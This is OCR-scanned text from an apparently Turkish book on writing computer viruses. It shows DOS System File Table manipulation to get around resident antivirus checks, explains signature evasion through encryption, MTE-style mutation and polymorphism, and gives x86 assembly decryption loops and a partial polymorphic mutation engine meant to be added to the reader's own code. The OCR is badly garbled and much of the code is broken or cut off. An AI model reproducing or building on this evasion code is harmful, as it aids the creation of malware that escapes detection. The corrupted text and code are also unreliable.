Odh WORD number of files in this table
06h 3Bh bytes per file
Ofset  Uzunlugu Actklamast
00h WORD number of file handles referring to this file
02h WORD file open mode (see AH=3Dh)
bit 15 set if this file opened via FCB
04h BYTE file attribute
05h WORD device info word (see AX=4400h)

bit 15 set if remote file

bit 14 set means do not set file date/time on closing
bit 13 set if named pipe

bit 12 set if no inherit




07h DWORD
0OBh WORD
0Dh WORD
0Fh WORD
11h DWORD
15h . DWORD
—local file—

19h WORD
1Bh DWQRD
1Fh BYTE
~—-network redirector-—
19h DWORD
1Dh 3 BYTEs
20h 11 BYTEs
2Bh DWORD
2Fh WORD
31h WORD
33h WORD
35h WORD
37h DWORD
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bit 11 set if network spooler

bit 7 set if device clear if file (only if local)
bit 6-0 as for AX=4400h

pointer to device driver header if character device
else pointer to DOS Drive Parameter Block
(see AH=32h) or REDIR data

starting cluster of file

file time in packed format (see AX=5700h)
file date in packed format (see AX=5700h)
file size

current offset in file

relative cluster within file of last cluster accessed

number of sector containing directory entry
munber of dir entry within sector (byte offset/32)

pointer to REDIRIFS record
177

filename in FCB format

(no path/period, blank-padded)

(share.exe) pointer to previous SFT

sharing same file

(share.cxe) network machine number
which opened file

PSP segment of file's owner (see AH=26h)
offset within share exe code segment of
sharing record (see below) 0000h = none
(local) absolute cluster number of last cluster
accessed (redirector) 777

pointer to IFFS driver for file,

0000000h if native DOS

Tabiki bu bilgileri kullanmadan 6nce SFT'nin yeri bulunmalidir. Bunu bir dizi
ddkiiman edilmemis (undocumented) DOS ¢agnis1 ile yapilabilir. BX=Dosya Handlc
iken agagidaki drnek dosyanin SFT sinin yerini verir,

mov

int
mov
mov
int

ax,1220h ; dosyva is tablosunun segment ofset

.adresi ES:DI igerisine
2fh ; sadece DOS 3 ve yukan versivonlarinda gegerlidir
bl.es:di  ; dosya handle i¢in SFT numaras: aliniyor
ax,1216h ; SFTnin adresi alimyor

2fh

Simdi bize gereken bazi byte'larin viriis tarafindan degistirilmesidir. Viriis 6nce dosya
tzelliklerini degistirir ve dosya acgilma modunu READ/WRITE wvapar. Bunun igin
dosyayt sadece okuma (READ) modunda agip (AL=0) sonra ilgili WORD'GQ 2've
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gsitlemek yeterlidir. Bu dosya READ modunda agildig1 zaman kontrol yapmayan baz
resident antiviriisleri etkisiz hale getirir. Dosya gostergecini ofset 15h'teki WORD'e
yazmakla degistirmek miimkiindiir (Dos 3 ve yukari versiyonlarinda).

Dosya gdéstergecini reset yapmak igin ;

mov es:di+15h,0
mov es:di+17h,0

DOS 2.x artik pek kullanicisi olmayan bir DOS versiyonudur. Birgok &nemli adres
DOS 3 ve daha yukansindan sonra sabittir. Bunlan kullanarak kod c¢ok basit hale

getirilebilir.

SFT'yi kullanmanin birgok yolu bulunabilir. Ayrica SFT ile istenmeyen siirpriz
sonuglara scbep olabilirsiniz. Bu noktada dikkatli olmamizi &éneririz. Ciinkii SFT
iizerinde yapilacak uygunsuz degisiklikler dosyalariniza zarar vercbilir.

R
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s s B et
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Guiniimiizde bilinen viriislerin bir ¢ogu iglerinde bulunan ve imzalari olarak kabul
edilen degismeyen kodlar vasitasi ile tesbit edilebilmektedir. Bundan dolayr bir virils
igerisinde miimkiin oldugunca degismeyen kodlarin az olmas: gerekir ve istenir. Bu
sonuca ulagmak igin bir ¢ok farkli teknik kullamilmaktadir.

Taniumlayic: imza viriis kodu igerisinde degismeyen, her kopyada aym kalan byte
grubudur. Viriis bu byte grubu ile tanminir. Tamimlayict imza bulasilan her dosya

tistiinde yer alir.

Antiviris bir viriis i¢in tarama yaparken; tiim dosya iginde herhangi bir verde
olabilecek imza arar. Nerede oldugu énemli degildir, sadece olup olmamas: 6nemlidir.
Eger dosya iginde imza bulunursa dosyaya viriis bulagmis kabul edilir. Tarayici aslinda
binlerce imza igin bir arayicidir. Buna karsilik yapilan tek sey, kodlan degisken hale

getirmektir.

Bunun en basit volu birgok sifreleme rutinine sahip olmakur. Viriis her defasinda
rasigele sekilde 1 tanesini kullamir, XOR sifreclemenin birgok degisik versiyonu
bulunabilir veya baska matematiksel sifreleme algoritmalar kullanabilir. Onemli olan
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nokta her defasinda yeni bir sifrcleme rutini ortaya ¢ikmasini saglamaktir. Daha
detayh bilgi igin kitabin GIZLEYICI bsliimiine bakiniz.

Mark Washburn bu teknigi V2PX viriis serisinde kullannustir. Bu viriislerde 6 degigik
sifreleme algoritmasi kullanmigtir. Bu teknikler ile viriistin tek bir imza ile aranamaz

hale gelmesini saglamistir.

Bundan baska viriis diinyasinda kisa bir gegmise sahip olan mutasyon teknigi
kullanilabilir. Yeni bir teknik olan mutasyon teknigini kullanan ¢ok az sayida viriis
vardir. Viriis yazar virituse mutasyon teknigini kendisi ilave edebilir. Bununia birlikte
viriis diinyasinda yazlmis ve obje kod halinde dagitilan hazir rutinler de
kullanilabilmektedir. MTE bunlarin ilk olam1 ve en ¢ok kullanilanidir. MTE'nin
haricinde vazilmis degisik mutasyon objeleri bulunmaktadir.

Bununla birlikte Pouge Mahone viriisii MTE'yi kullanmig ve McAfTec firmasi bunu
yakalayacak algoritma igin ecpey zaman kaybetmistir. Unlii antiviriis aragtirmacisi
Vesselin Bontchev MTE'nin teknigi karsisinda hayranligini ifade etmistir. Ciinki
MTE ile iirctilmis viriis kopyalaninin her biri bir digerinde farkhdir, Yani her bir
kopyada yan yana aymt olan 3 byte bulunmamaktadir. Bundan dolayt bu viriis

izerinden tanimlayic: imza kodu ¢ikartmak imkansizdir.

MTE ve benzeri dosyalar OBJ dosya halinde bulunmaktadirlar ve her viriisc kolaylikla
adapte edilebilirler. Baz1 antiviriis firmalan programlarim bu tip viriislerin hepsini
tantyabilecck 6zellige sahip iddaasiyla kullanicilara sunulmustur. Fakat bu pek
miimkiin gorinmemektedir. Cinkii her farkli mutasyon teknigi farkh sonuglar
dogurmaktadir. Herbirinin algoritmasi kendisine has oldugu igin hepsini tam
anlamiyla taniyacak bir algoritma simdilik hayal gibi gériinmektedir.

Tabiki MTE ilk mutasyor iiretici oldugundan cksik yanlari bulunmaktadir. iyi bir
inceleme sonucu MTE'yi tesbit edebilecek algoritmalar geligtirilebilir.

Simdi kisaca viriisler igerisinde tanimlayicr imzayr minimuma indirmek i¢cin kullanilan
baz1 tekniklerden bahsedelim.

1- Mark Washburn'un V2P6 viriis serisinde kullandig tekniktir. §ifreleme rutininin
yazilacagt alana ilkénce CLC,STS... gibi komutlar yazilir. Sonra rastgele olarak
sifreleme rutininin pargalart bu buffer'in iizerine ilave edilir. Gergek silreleme
komutlar rastgele vazilnus komutlann arasina ilave edildiginden dolay:r sabit bir
tanimlayici imza elde cdilememcktedir. Tabiki bunun yan ctkisi olarak viriisin

uzunlugu bir miktar artmaktadir.

2- Bu metod daha basit ve en az birincisi kadar etkilidir. Tammlayict imza gikanlacak
kod blogunu minimuma indirmek igin yapilan belli yerlerdeki degerieri rasigele olarak
degistirmektir.
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Su sekilde agiklayalim;

mov si, 1234h . sifrelemenin baglayacagi lokasyort
mov cx, 1234h
loop thing:
Xor word ptr ¢s:[si], 1234h - sifreleme degeri
add si, 2 '

loop loop thing

Bu oOrnekte 1234h degeri rastgele olarak degisebilir. Her bulagmada bu tip sabitligi
bozan degerleri degistirebilirsiniz. Ornegin bx,1234h komutu viriisiin hafizada olacag:
adrese yiiklenebilir. Yeni degerleri kod igine vazmak icin bunu kullanabilirsiniz;

mov [bp+Command+1], cx

Burada scratch bir komuttur. Commanda eklenccek deger opcode kodlanmasina gore
degisir. Bazi opcode'lar degerlerini ikinci bazilan iigiincii byte'ta alirlar, Bunlar
anlamak zamanla olacaktir. Bu sekilde sabit ve degismeyen en uzun kod blofunu 5-6
byte ve agagisina ¢ekilimektedir. Bu da tamimlayici imza olamayacak kadar kisadir. Bu
konuyla ilgili daha detayh bilgi i¢in bir sonraki POLIMORFIZM konusuna bakiniz.

Polimorfizm

Polimorf(ik sifrcleme rutini sadece komplex kod iireticidir. Boyle birsey vazmak ¢ok zor
olmamakla beraber dikkatli planlama ve birgok sahte baslangi¢c noktas: ister. Tam
polimorfizm parcaly sckilde istenir. Poliformik viriislerin her kopyasi degisik bir
desifre rutinine sahiptir. Teoride higbir byte sabit kalmaz, her kopyada her byte degisir
béylece tamimlayict bir imza ¢ikanlamaz. Buna karsi algoritma temelli metodlar
kullanirlar, bunlarda yanhs alarmlara, vanhs raporlara yol acar. Poliformik virisleri
yakalayvacak gerceck giivenli bir algoritima gelistirmek ¢ok daha fazla cmek ve zaman
istemekledir. Eger antiviriis viriisiin 1 kopyasim yakalayvamuyorsa, viriisiin o kopyasi
bircok yakalanamavan viriis kopvasi iirclecektir.

Polimorfik viriisler {izerinde ¢alismaya baslamadan énce 80x86 komut seti iistiine bir
kitabr detayh sckilde okumak gereklidir. 80x86 komut sctinin egilimez, biikiilmez, sert
yapisi bu sayede anlasilir olur. Dolayvisi ile opcode yapisi iistiinde ¢alistiktan sonra
polimorfizm daha anlagilir hale geleceklir.
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Bildiginiz gibi viriislerin degifre rutinleri haricindeki kissmlarinin birgok farkl sckilde
degisik teknikler ile sifrelendigini daha &nce anlatmistik. Onemli olan viriis kodu
icerisinde sifre’ ve desifre rutinini de tamimlayici imza cikarilamayacak sekilde

degistirmektir.

Kompleks bir polimorfik rutin; desifre rutini iizerinde belirlenmig bir algoritma ile
islem yapar. Bu islem igin, ilk 6nce bir pointer register sct edilir. Bu register desifre
edilecek hafizanin adresini igerir. Ayrica bir sayag¢ register't kullanilir. Poinler register
iizerinden bir byte desifre edilir, pointer register giincellestirilir ve sayac registerr 0
olana kadar isleme devam edilir.

Bu isi yapan 2 6rnek asagidadir.

Ornek sifrecleme 1;

mov bx,oflsct startencrypt : BX gdsterge register’
mov  cx,viruslength /2 , CX'e dongii adedi ataniyor
decrypt_loop:
xor word ptr [bx],12h : her seferde bir word desifre ediliyor
inc bx . gosterge register't glincellestiriliyor
inc bx : " "
loop decrypt_loop
startencrypt:

Ornek sifreleme 2;

start:
mov bx,viruslength - BX'e sifrelenccek bélgenin uzunlugu
mov bp,offsct start . BP gislerge register't

decrypt_loop: -

add byte ptr [bp+0Ch],33h  ; BP+0Ch -> her bir déniigte
. desifre edilecck
- hafiza alaninin konumu

Inc bp . gosterge register't giincelleniyor
dec bx , sayag register' bir azaltihiyor
nz decrypt_loop - BX sifira esit degilse

-déngiive devam et

ihtimal sayisi sonsuz gibidir. Dogal olarak degifreyi ¢aligtinilabilir kod yerine algoritma
gibi davrandirmak; bu rutini olusturmak igin bilyiikk esncklik saglar. Degifre
algoritmasinin birgok kismunin tamir edilmesi/kanistirilmas: ile birgok varyasyon



iiretmeye izin verir. Ustteki ¢rnegi kullanarak bir érnck varyasyon, register diizenleme
komutlarimin verleri degistirilebilir.

Ornegin ;

mov cx,viruslength
nov bx,ofTset startencrypt

Yerine:

mov bx,offset startencrypt
mov cx,viruslength

Bu polimorfik rutin igine konulabilecek degisikliklerden sadece 1 tanesidir. Polimorfik
rutinin yapisina goére ve varyasyonlarin dogalligina gore kod uzunlugunu ¢ok az
arttiracak 1laveler polimorfik algoritmay: ¢ok gii¢clendirecektir. Hedef en kisa kodla en
fazla varyasyonu iiretebilmektir. Ilave varyasyon kolaylikla yazlabildiginden
polimorfik rutin yazmak istck uyandiricidir. Modiiler olmak bu konuda iyi metodtur.
Bu gekilde kod uzunlugu ¢ok kisaltilabilir. Birgok polimorfik rutindeki ilk adim,
uygulanacak varyasyonlarin énceden belirlenmesidir. Polimorfik rutin sunlart hesaba
katmahidir; WORD uzunlugunda XOR sifrelemesi, BX pointer register, DX sifreleme
degerinin saklandigi degisken, CX sayag register's, vs. Bu bilgiler bilindikten sonra,
rutin tiim degiskenlerin ilk degerlerini hesaplayabilmelidir. Ornegin byte uzunlugunda
sifrcleme igin CX=sayag register ise CX viriis uzunlugunda olmalidir. Degiskenligi
arttirmak igin sifrelemenin uzunlugu rastgele bir deger kadar uzatlabilir. Baz
degiskenler pointer register'larina bagl olarak sifrcleme bitmeden bilinemez.

Tabiki, degisken ve register'lan se¢mek yeterli degildir. Polimorfik rutinin kaliteli
olmast igin gergek komutlari da sifrelemesi gereklidir. En basit haliyle polimorfik

rutinin register'ler tstiine tek bagina MOV komutlarint kullanabilir. Daha kompleks
rutinler ise tek bir MOV komutunun iglevini bir gok komuta vavabilirler.

Ornegin ;

mov ax, 808h

Yerine:
Mmov ax, 303h - ax = 303h
mov bx, 101h ‘bx=101h
add ax. bx »ax = 404 h

shl ax..} - ax = 808h
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Burada register'lara decger yiiklenme sirasida rastgele olmalidir. Register'lar
sifrelendikten sonra; gergek sifreleme rutini sifrelenmelidir. Rutin bircok islemi idare
edip isleyebilir.: En onemlileri; hafiza adreslerini, gerckli ise pointer regisier'larini
giincellestirmek ve en son dongii komutlarini gifrelemektir, Bunlar birgok forma
sokulabilirler, 6rnegin LOOP, LOOPNZ, JNZ, ... varyasyon iirctmek igin her kopvada
sifreleme degerini tasiyan register't ve sayag register'ini da degistirmek gerekir.

Bu sifrelemeye genel bir érnektir. Komutlarin arasina Garbling yaparak ve do-nothing
komutlan koyarak mutasyon daha da karisik yapilabilir. Bu komutlar ¢ok degisik hale
gelebilir. Polimorfik viriis: desifreleyici tarafindan kullanilan degigkenleri ve sifreleme
rutinini son bicimine gére diizeltmelidir. Bagka bir metod isc kodu nzatmasina ragmen.

polimorfik rutinin sifre ve degifre rutinlerini eszamanh olarak sifrclemesidir.

Polimorfizm hakkinda bu kitapta bahsedcccklerimiz gok yiizeysel olarak simdilik bu
kadar. Daha once de belirttigimiz gibi bu konu hakkinda bagh basina bir Kitap bile
yazilabilir. Zannediyoruz ki; gelecektcki igletim  sistemleri, viriis  ve benzeri
programlann yazilmasina tcknik olarak miisait oldugu siirece, mutasyon tekmigi
onlarin avrilmaz bir pargasi olacakur.

Simdi programlarimiz i¢erisinde mutasyon yapmaniz: saglayacak basit bir polimorfik
objesinin tam halini &rnek olarak veriyoruz. Ornek kodu programlanniz igerising
ckleyerck mutasyonun nasil  gergeklestigini - gorebilirsiniz. Obje  kodu  nasil
kullanacagimiz asagida gosterilmistir. Tabi bununla kalmayip kendi  mutasyon
rutinlerinizi gelistirebilirsimz.

Ornek Mutasyon Uretici Obje Rutini

extrn  MYMUTATION:near, _END_MYMUTATION:byte, Get_Rand:ncar
extrn Init_Rand:ncar

T Kullanmak icin ;

Cagirma parametreleri :

CX = Kod uzunlugu BX = Yeni baslangig noktas
DS:SI = Kod baslangig adresi AX = Cagirma stli
ES:DI = Hedcf bolge adresi |=Near Call, 2=Far Call, 3=Int Call

Geri donen:
CX = Yeni uzunluk
ES:DI = Giren degerle ayni; fakat kod mutasyon ile degigmigtir
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DS:DI'deki CX uzunlugundaki kod sifrelenccektir. Degifre rutini ve sifrelenmis kodun
uzunlugu CX igerisinde geri donecektir. Sonug olarak degifie rutini + gifrelenmig kod

ES:DI've yazlacaktir,

BX = Desifreleyici kontrolii aldigt zaman hafizanin neresinde olacag ile ilgili degeri
tutmaktadir. Ornegin; COM dosyanin baslangigi ise 100h olmalidur.

AX = ise MYMUTATION sizin kodunuza nasil donecektir.
AX = 1 ==>RETN |

AX 7 ==> RETF

AX = 3==>1IRET

.model tiny
radix 16
.code

public MYMUTATION, END_MYMUTATION, Get_Rand, Init_Rand

_MYMUTATION:
push  bp ax bx cx dx es ds si di
call Get_Our_Offset
Offset_Mark:
inc cX
inc CX

mov word ptr cs:[bp+1+Set_Size],cx
mov word ptr cs:[Start_Pos+bp],bx
call Init_Rand

call Get_Base_Reg

call Setup_Choices

call Create_EncDec

call Copy_Decrypt_Code
call Encrypt_It

Ending MYMUTATION:
pop di si ds es dx cx bx ax
add cx,cs:[Decryptor_Length+bp]

inc exX

inc - CX

pop bp

cmp ax,3 -geri doniig gekli belirleniyor
je Int_Call

cmp ax,2
ie Far _Call




Necar_Call:
' retn

Far_Call:
retf

Int_Call:
iret

Get_Our_OfTsct:

mov
mov
sub
et

[nit_Rand:
push
xor
mov

. mov
0000:046Ch
Pop
mov
pop
ret

Get_Rand:
push
nmov
MoV
mul
Xor
ror
mov

pop
rct

rand_seed
Base Reg
Base Poinler
Start_Pos

Get_Base Reg:

bp,sp
bp.ss:[bp]

bp,offset Offset_Mark

~ax ds

ax,ax
ds.ax

ax,ds:[46c] ;baslangig igin saat {izerinden veri alimyor

ds
cs:[rand sced+bp].ax
ax

cx dx
ax,cs:[rand_secd+bp]
cx,0Odeadh

CX

ax,0dada

ax, I
cs:[rand_sced+bp).ax
dx cx

dw
db
db
dw

e - I

.Bu belki de 1yi bir algoritma degil
:Fakat amacimiza ulasmamizi saghvor
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